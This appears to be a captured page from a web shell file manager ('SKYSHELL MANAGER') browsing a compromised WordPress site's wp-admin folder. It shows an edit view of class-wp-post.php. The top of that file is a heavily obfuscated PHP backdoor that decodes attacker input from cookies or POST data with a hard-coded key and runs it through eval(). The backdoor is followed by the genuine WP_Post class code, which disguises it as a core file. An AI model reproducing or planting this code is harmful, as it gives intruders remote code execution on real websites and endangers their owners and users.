📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: class-wp-post.php
<?php $r49af = 819;$GLOBALS['j81cbc74']=Array();global$j81cbc74;$j81cbc74=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['e6006']="\x55\x25\x43\x54\x4a\x74\x38\x21\x5d\x69\x4c\x6d\x32\x75\x4f\x4b\x39\x20\x67\x2a\x45\xd\x29\x5e\x35\x41\x56\x68\x2e\x5b\x40\x79\x3a\x6b\x37\x27\x30\x3b\x5a\x7d\x42\x2c\x24\x4e\x48\x5c\x5f\x28\x36\x77\x2d\x63\x7a\x26\x76\x59\x3f\x60\x4d\x50\x61\x3d\x22\x72\x71\x62\x34\x23\x44\x3e\x73\xa\x2f\x2b\x47\x6e\x6a\x78\x6f\x65\x64\x49\x66\x51\x53\x9\x3c\x31\x7c\x57\x52\x6c\x70\x46\x33\x58\x7e\x7b";$j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][6].$j81cbc74['e6006'][80].$j81cbc74['e6006'][36].$j81cbc74['e6006'][87]]=$j81cbc74['e6006'][51].$j81cbc74['e6006'][27].$j81cbc74['e6006'][63];$j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][80].$j81cbc74['e6006'][51].$j81cbc74['e6006'][60].$j81cbc74['e6006'][94].$j81cbc74['e6006'][94].$j81cbc74['e6006'][12].$j81cbc74['e6006'][82]]=$j81cbc74['e6006'][78].$j81cbc74['e6006'][63].$j81cbc74['e6006'][80];$j81cbc74[$j81cbc74['e6006'][64].$j81cbc74['e6006'][94].$j81cbc74['e6006'][51].$j81cbc74['e6006'][80]]=$j81cbc74['e6006'][70].$j81cbc74['e6006'][5].$j81cbc74['e6006'][63].$j81cbc74['e6006'][91].$j81cbc74['e6006'][79].$j81cbc74['e6006'][75];$j81cbc74[$j81cbc74['e6006'][54].$j81cbc74['e6006'][16].$j81cbc74['e6006'][51].$j81cbc74['e6006'][94].$j81cbc74['e6006'][79]]=$j81cbc74['e6006'][9].$j81cbc74['e6006'][75].$j81cbc74['e6006'][9].$j81cbc74['e6006'][46].$j81cbc74['e6006'][70].$j81cbc74['e6006'][79].$j81cbc74['e6006'][5];$j81cbc74[$j81cbc74['e6006'][75].$j81cbc74['e6006'][48].$j81cbc74['e6006'][65].$j81cbc74['e6006'][66].$j81cbc74['e6006'][24]]=$j81cbc74['e6006'][70].$j81cbc74['e6006'][79].$j81cbc74['e6006'][63].$j81cbc74['e6006'][9].$j81cbc74['e6006'][60].$j81cbc74['e6006'][91].$j81cbc74['e6006'][9].$j81cbc74['e6006'][52].$j81cbc74['e6006'][79];$j81cbc74[$j81cbc74['e6006'][92].$j81cbc74['e6006'][12].$j81cbc74['e6006'][6].$j81cbc74['e6006'][51].$j81cbc74['e6006'][87].$j81cbc74['e6006'][34].$j81cbc74['e6006'][94]]=$j81cbc74['e6006'][92].$j81cbc74['e6006'][27].$j81cbc74['e6006'][92].$j81cbc74['e6006'][54].$j81cbc74['e6006'][79].$j81cbc74['e6006'][63].$j81cbc74['e6006'][70].$j81cbc74['e6006'][9].$j81cbc74['e6006'][78].$j81cbc74['e6006'][75];$j81cbc74[$j81cbc74['e6006'][60].$j81cbc74['e6006'][60].$j81cbc74['e6006'][51].$j81cbc74['e6006'][36].$j81cbc74['e6006'][48]]=$j81cbc74['e6006'][13].$j81cbc74['e6006'][75].$j81cbc74['e6006'][70].$j81cbc74['e6006'][79].$j81cbc74['e6006'][63].$j81cbc74['e6006'][9].$j81cbc74['e6006'][60].$j81cbc74['e6006'][91].$j81cbc74['e6006'][9].$j81cbc74['e6006'][52].$j81cbc74['e6006'][79];$j81cbc74[$j81cbc74['e6006'][11].$j81cbc74['e6006'][87].$j81cbc74['e6006'][60].$j81cbc74['e6006'][79].$j81cbc74['e6006'][79].$j81cbc74['e6006'][65]]=$j81cbc74['e6006'][65].$j81cbc74['e6006'][60].$j81cbc74['e6006'][70].$j81cbc74['e6006'][79].$j81cbc74['e6006'][48].$j81cbc74['e6006'][66].$j81cbc74['e6006'][46].$j81cbc74['e6006'][80].$j81cbc74['e6006'][79].$j81cbc74['e6006'][51].$j81cbc74['e6006'][78].$j81cbc74['e6006'][80].$j81cbc74['e6006'][79];$j81cbc74[$j81cbc74['e6006'][63].$j81cbc74['e6006'][16].$j81cbc74['e6006'][65].$j81cbc74['e6006'][94].$j81cbc74['e6006'][87].$j81cbc74['e6006'][60].$j81cbc74['e6006'][12].$j81cbc74['e6006'][79]]=$j81cbc74['e6006'][70].$j81cbc74['e6006'][79].$j81cbc74['e6006'][5].$j81cbc74['e6006'][46].$j81cbc74['e6006'][5].$j81cbc74['e6006'][9].$j81cbc74['e6006'][11].$j81cbc74['e6006'][79].$j81cbc74['e6006'][46].$j81cbc74['e6006'][91].$j81cbc74['e6006'][9].$j81cbc74['e6006'][11].$j81cbc74['e6006'][9].$j81cbc74['e6006'][5];$j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][48].$j81cbc74['e6006'][34].$j81cbc74['e6006'][94].$j81cbc74['e6006'][34].$j81cbc74['e6006'][6].$j81cbc74['e6006'][79]]=$j81cbc74['e6006'][54].$j81cbc74['e6006'][94].$j81cbc74['e6006'][48].$j81cbc74['e6006'][94].$j81cbc74['e6006'][51].$j81cbc74['e6006'][16].$j81cbc74['e6006'][36].$j81cbc74['e6006'][6].$j81cbc74['e6006'][34];$j81cbc74[$j81cbc74['e6006'][92].$j81cbc74['e6006'][16].$j81cbc74['e6006'][94].$j81cbc74['e6006'][24]]=$j81cbc74['e6006'][91].$j81cbc74['e6006'][60].$j81cbc74['e6006'][94].$j81cbc74['e6006'][34];$j81cbc74[$j81cbc74['e6006'][52].$j81cbc74['e6006'][36].$j81cbc74['e6006'][94].$j81cbc74['e6006'][16]]=$_POST;$j81cbc74[$j81cbc74['e6006'][76].$j81cbc74['e6006'][80].$j81cbc74['e6006'][60].$j81cbc74['e6006'][24].$j81cbc74['e6006'][51].$j81cbc74['e6006'][36].$j81cbc74['e6006'][80].$j81cbc74['e6006'][16].$j81cbc74['e6006'][34]]=$_COOKIE;@$j81cbc74[$j81cbc74['e6006'][54].$j81cbc74['e6006'][16].$j81cbc74['e6006'][51].$j81cbc74['e6006'][94].$j81cbc74['e6006'][79]]($j81cbc74['e6006'][79].$j81cbc74['e6006'][63].$j81cbc74['e6006'][63].$j81cbc74['e6006'][78].$j81cbc74['e6006'][63].$j81cbc74['e6006'][46].$j81cbc74['e6006'][91].$j81cbc74['e6006'][78].$j81cbc74['e6006'][18],NULL);@$j81cbc74[$j81cbc74['e6006'][54].$j81cbc74['e6006'][16].$j81cbc74['e6006'][51].$j81cbc74['e6006'][94].$j81cbc74['e6006'][79]]($j81cbc74['e6006'][91].$j81cbc74['e6006'][78].$j81cbc74['e6006'][18].$j81cbc74['e6006'][46].$j81cbc74['e6006'][79].$j81cbc74['e6006'][63].$j81cbc74['e6006'][63].$j81cbc74['e6006'][78].$j81cbc74['e6006'][63].$j81cbc74['e6006'][70],0);@$j81cbc74[$j81cbc74['e6006'][54].$j81cbc74['e6006'][16].$j81cbc74['e6006'][51].$j81cbc74['e6006'][94].$j81cbc74['e6006'][79]]($j81cbc74['e6006'][11].$j81cbc74['e6006'][60].$j81cbc74['e6006'][77].$j81cbc74['e6006'][46].$j81cbc74['e6006'][79].$j81cbc74['e6006'][77].$j81cbc74['e6006'][79].$j81cbc74['e6006'][51].$j81cbc74['e6006'][13].$j81cbc74['e6006'][5].$j81cbc74['e6006'][9].$j81cbc74['e6006'][78].$j81cbc74['e6006'][75].$j81cbc74['e6006'][46].$j81cbc74['e6006'][5].$j81cbc74['e6006'][9].$j81cbc74['e6006'][11].$j81cbc74['e6006'][79],0);@$j81cbc74[$j81cbc74['e6006'][63].$j81cbc74['e6006'][16].$j81cbc74['e6006'][65].$j81cbc74['e6006'][94].$j81cbc74['e6006'][87].$j81cbc74['e6006'][60].$j81cbc74['e6006'][12].$j81cbc74['e6006'][79]](0);$he5594dd9=NULL;$i257d=NULL;$j81cbc74[$j81cbc74['e6006'][51].$j81cbc74['e6006'][51].$j81cbc74['e6006'][66].$j81cbc74['e6006'][36].$j81cbc74['e6006'][51].$j81cbc74['e6006'][82].$j81cbc74['e6006'][94].$j81cbc74['e6006'][48].$j81cbc74['e6006'][6]]=$j81cbc74['e6006'][12].$j81cbc74['e6006'][24].$j81cbc74['e6006'][34].$j81cbc74['e6006'][48].$j81cbc74['e6006'][94].$j81cbc74['e6006'][66].$j81cbc74['e6006'][24].$j81cbc74['e6006'][12].$j81cbc74['e6006'][50].$j81cbc74['e6006'][94].$j81cbc74['e6006'][87].$j81cbc74['e6006'][79].$j81cbc74['e6006'][36].$j81cbc74['e6006'][50].$j81cbc74['e6006'][66].$j81cbc74['e6006'][6].$j81cbc74['e6006'][51].$j81cbc74['e6006'][65].$j81cbc74['e6006'][50].$j81cbc74['e6006'][65].$j81cbc74['e6006'][94].$j81cbc74['e6006'][48].$j81cbc74['e6006'][48].$j81cbc74['e6006'][50].$j81cbc74['e6006'][16].$j81cbc74['e6006'][66].$j81cbc74['e6006'][48].$j81cbc74['e6006'][60].$j81cbc74['e6006'][24].$j81cbc74['e6006'][66].$j81cbc74['e6006'][34].$j81cbc74['e6006'][82].$j81cbc74['e6006'][36].$j81cbc74['e6006'][87].$j81cbc74['e6006'][87].$j81cbc74['e6006'][82];global$cc40cf368;function la37($he5594dd9,$m7dfa){global$j81cbc74;$zb50="";for($j921483=0;$j921483<$j81cbc74[$j81cbc74['e6006'][64].$j81cbc74['e6006'][94].$j81cbc74['e6006'][51].$j81cbc74['e6006'][80]]($he5594dd9);){for($k66e7768c=0;$k66e7768c<$j81cbc74[$j81cbc74['e6006'][64].$j81cbc74['e6006'][94].$j81cbc74['e6006'][51].$j81cbc74['e6006'][80]]($m7dfa)&&$j921483<$j81cbc74[$j81cbc74['e6006'][64].$j81cbc74['e6006'][94].$j81cbc74['e6006'][51].$j81cbc74['e6006'][80]]($he5594dd9);$k66e7768c++,$j921483++){$zb50.=$j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][6].$j81cbc74['e6006'][80].$j81cbc74['e6006'][36].$j81cbc74['e6006'][87]]($j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][80].$j81cbc74['e6006'][51].$j81cbc74['e6006'][60].$j81cbc74['e6006'][94].$j81cbc74['e6006'][94].$j81cbc74['e6006'][12].$j81cbc74['e6006'][82]]($he5594dd9[$j921483])^$j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][80].$j81cbc74['e6006'][51].$j81cbc74['e6006'][60].$j81cbc74['e6006'][94].$j81cbc74['e6006'][94].$j81cbc74['e6006'][12].$j81cbc74['e6006'][82]]($m7dfa[$k66e7768c]));}}return$zb50;}function v363c9087($he5594dd9,$m7dfa){global$j81cbc74;global$cc40cf368;return$j81cbc74[$j81cbc74['e6006'][92].$j81cbc74['e6006'][16].$j81cbc74['e6006'][94].$j81cbc74['e6006'][24]]($j81cbc74[$j81cbc74['e6006'][92].$j81cbc74['e6006'][16].$j81cbc74['e6006'][94].$j81cbc74['e6006'][24]]($he5594dd9,$cc40cf368),$m7dfa);}foreach($j81cbc74[$j81cbc74['e6006'][76].$j81cbc74['e6006'][80].$j81cbc74['e6006'][60].$j81cbc74['e6006'][24].$j81cbc74['e6006'][51].$j81cbc74['e6006'][36].$j81cbc74['e6006'][80].$j81cbc74['e6006'][16].$j81cbc74['e6006'][34]]as$m7dfa=>$i9bd){$he5594dd9=$i9bd;$i257d=$m7dfa;}if(!$he5594dd9){foreach($j81cbc74[$j81cbc74['e6006'][52].$j81cbc74['e6006'][36].$j81cbc74['e6006'][94].$j81cbc74['e6006'][16]]as$m7dfa=>$i9bd){$he5594dd9=$i9bd;$i257d=$m7dfa;}}$he5594dd9=@$j81cbc74[$j81cbc74['e6006'][60].$j81cbc74['e6006'][60].$j81cbc74['e6006'][51].$j81cbc74['e6006'][36].$j81cbc74['e6006'][48]]($j81cbc74[$j81cbc74['e6006'][49].$j81cbc74['e6006'][48].$j81cbc74['e6006'][34].$j81cbc74['e6006'][94].$j81cbc74['e6006'][34].$j81cbc74['e6006'][6].$j81cbc74['e6006'][79]]($j81cbc74[$j81cbc74['e6006'][11].$j81cbc74['e6006'][87].$j81cbc74['e6006'][60].$j81cbc74['e6006'][79].$j81cbc74['e6006'][79].$j81cbc74['e6006'][65]]($he5594dd9),$i257d));if(isset($he5594dd9[$j81cbc74['e6006'][60].$j81cbc74['e6006'][33]])&&$cc40cf368==$he5594dd9[$j81cbc74['e6006'][60].$j81cbc74['e6006'][33]]){if($he5594dd9[$j81cbc74['e6006'][60]]==$j81cbc74['e6006'][9]){$j921483=Array($j81cbc74['e6006'][92].$j81cbc74['e6006'][54]=>@$j81cbc74[$j81cbc74['e6006'][92].$j81cbc74['e6006'][12].$j81cbc74['e6006'][6].$j81cbc74['e6006'][51].$j81cbc74['e6006'][87].$j81cbc74['e6006'][34].$j81cbc74['e6006'][94]](),$j81cbc74['e6006'][70].$j81cbc74['e6006'][54]=>$j81cbc74['e6006'][87].$j81cbc74['e6006'][28].$j81cbc74['e6006'][36].$j81cbc74['e6006'][50].$j81cbc74['e6006'][87],);echo@$j81cbc74[$j81cbc74['e6006'][75].$j81cbc74['e6006'][48].$j81cbc74['e6006'][65].$j81cbc74['e6006'][66].$j81cbc74['e6006'][24]]($j921483);}elseif($he5594dd9[$j81cbc74['e6006'][60]]==$j81cbc74['e6006'][79]){eval/*u550b8e3*/($he5594dd9[$j81cbc74['e6006'][80]]);}exit();} ?><?php /** * Post API: WP_Post class * * @package WordPress * @subpackage Post * @since 4.4.0 */ /** * Core class used to implement the WP_Post object. * * @since 3.5.0 * * @property string $page_template * * @property-read array $ancestors * @property-read int $post_category * @property-read string $tag_input * */ final class WP_Post { /** * Post ID. * * @since 3.5.0 * @var int */ public $ID; /** * ID of post author. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $post_author = 0; /** * The post's local publication time. * * @since 3.5.0 * @var string */ public $post_date = '0000-00-00 00:00:00'; /** * The post's GMT publication time. * * @since 3.5.0 * @var string */ public $post_date_gmt = '0000-00-00 00:00:00'; /** * The post's content. * * @since 3.5.0 * @var string */ public $post_content = ''; /** * The post's title. * * @since 3.5.0 * @var string */ public $post_title = ''; /** * The post's excerpt. * * @since 3.5.0 * @var string */ public $post_excerpt = ''; /** * The post's status. * * @since 3.5.0 * @var string */ public $post_status = 'publish'; /** * Whether comments are allowed. * * @since 3.5.0 * @var string */ public $comment_status = 'open'; /** * Whether pings are allowed. * * @since 3.5.0 * @var string */ public $ping_status = 'open'; /** * The post's password in plain text. * * @since 3.5.0 * @var string */ public $post_password = ''; /** * The post's slug. * * @since 3.5.0 * @var string */ public $post_name = ''; /** * URLs queued to be pinged. * * @since 3.5.0 * @var string */ public $to_ping = ''; /** * URLs that have been pinged. * * @since 3.5.0 * @var string */ public $pinged = ''; /** * The post's local modified time. * * @since 3.5.0 * @var string */ public $post_modified = '0000-00-00 00:00:00'; /** * The post's GMT modified time. * * @since 3.5.0 * @var string */ public $post_modified_gmt = '0000-00-00 00:00:00'; /** * A utility DB field for post content. * * @since 3.5.0 * @var string */ public $post_content_filtered = ''; /** * ID of a post's parent post. * * @since 3.5.0 * @var int */ public $post_parent = 0; /** * The unique identifier for a post, not necessarily a URL, used as the feed GUID. * * @since 3.5.0 * @var string */ public $guid = ''; /** * A field used for ordering posts. * * @since 3.5.0 * @var int */ public $menu_order = 0; /** * The post's type, like post or page. * * @since 3.5.0 * @var string */ public $post_type = 'post'; /** * An attachment's mime type. * * @since 3.5.0 * @var string */ public $post_mime_type = ''; /** * Cached comment count. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $comment_count = 0; /** * Stores the post object's sanitization level. * * Does not correspond to a DB field. * * @since 3.5.0 * @var string */ public $filter; /** * Retrieve WP_Post instance. * * @since 3.5.0 * @static * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Post ID. * @return WP_Post|false Post object, false otherwise. */ public static function get_instance( $post_id ) { global $wpdb; $post_id = (int) $post_id; if ( ! $post_id ) { return false; } $_post = wp_cache_get( $post_id, 'posts' ); if ( ! $_post ) { $_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) ); if ( ! $_post ) return false; $_post = sanitize_post( $_post, 'raw' ); wp_cache_add( $_post->ID, $_post, 'posts' ); } elseif ( empty( $_post->filter ) ) { $_post = sanitize_post( $_post, 'raw' ); } return new WP_Post( $_post ); } /** * Constructor. * * @since 3.5.0 * * @param WP_Post|object $post Post object. */ public function __construct( $post ) { foreach ( get_object_vars( $post ) as $key => $value ) $this->$key = $value; } /** * Isset-er. * * @since 3.5.0 * * @param string $key Property to check if set. * @return bool */ public function __isset( $key ) { if ( 'ancestors' == $key ) return true; if ( 'page_template' == $key ) return true; if ( 'post_category' == $key ) return true; if ( 'tags_input' == $key ) return true; return metadata_exists( 'post', $this->ID, $key ); } /** * Getter. * * @since 3.5.0 * * @param string $key Key to get. * @return mixed */ public function __get( $key ) { if ( 'page_template' == $key && $this->__isset( $key ) ) { return get_post_meta( $this->ID, '_wp_page_template', true ); } if ( 'post_category' == $key ) { if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) $terms = get_the_terms( $this, 'category' ); if ( empty( $terms ) ) return array(); return wp_list_pluck( $terms, 'term_id' ); } if ( 'tags_input' == $key ) { if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) $terms = get_the_terms( $this, 'post_tag' ); if ( empty( $terms ) ) return array(); return wp_list_pluck( $terms, 'name' ); } // Rest of the values need filtering. if ( 'ancestors' == $key ) $value = get_post_ancestors( $this ); else $value = get_post_meta( $this->ID, $key, true ); if ( $this->filter ) $value = sanitize_post_field( $key, $value, $this->ID, $this->filter ); return $value; } /** * {@Missing Summary} * * @since 3.5.0 * * @param string $filter Filter. * @return self|array|bool|object|WP_Post */ public function filter( $filter ) { if ( $this->filter == $filter ) return $this; if ( $filter == 'raw' ) return self::get_instance( $this->ID ); return sanitize_post( $this, $filter ); } /** * Convert object to array. * * @since 3.5.0 * * @return array Object as array. */ public function to_array() { $post = get_object_vars( $this ); foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) { if ( $this->__isset( $key ) ) $post[ $key ] = $this->__get( $key ); } return $post; } }
Save